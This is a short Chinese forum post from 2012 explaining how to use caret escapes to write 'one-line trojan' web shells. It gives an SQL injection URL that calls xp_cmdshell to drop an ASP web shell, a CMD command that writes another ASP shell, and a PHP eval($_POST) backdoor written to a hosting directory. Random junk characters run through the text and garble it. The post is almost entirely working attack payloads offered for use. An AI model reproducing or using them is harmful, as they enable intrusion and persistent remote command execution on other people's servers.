用^转义字符来写ASP(一句话木马)文件的方法:( ?: L/ G6 r+ Q
4 K* w$ X5 H9 Z3 ?# z
1.注入点后执行 http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--$ P4 Y+ S/ e) Q X# F1 V5 x6 X: D
6 l: S. U+ J" |( F/ c" t7 p2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >D:\doc\week6\images\2.asp2 P* G- w6 R! R/ d' C" a
& v9 Q# P( L7 Z; W4 a
5 U6 y9 E& \, k, T# B5 PPHP/ F( s7 B$ [+ [2 q' J* k; Q
echo ^<^?php eval^($_POST[cmd])?^>>D:\hosting\wwwroot\zlhua_cn\htdocs\1.php |
发表于 2012-9-15 14:52:31
收藏
支持
反对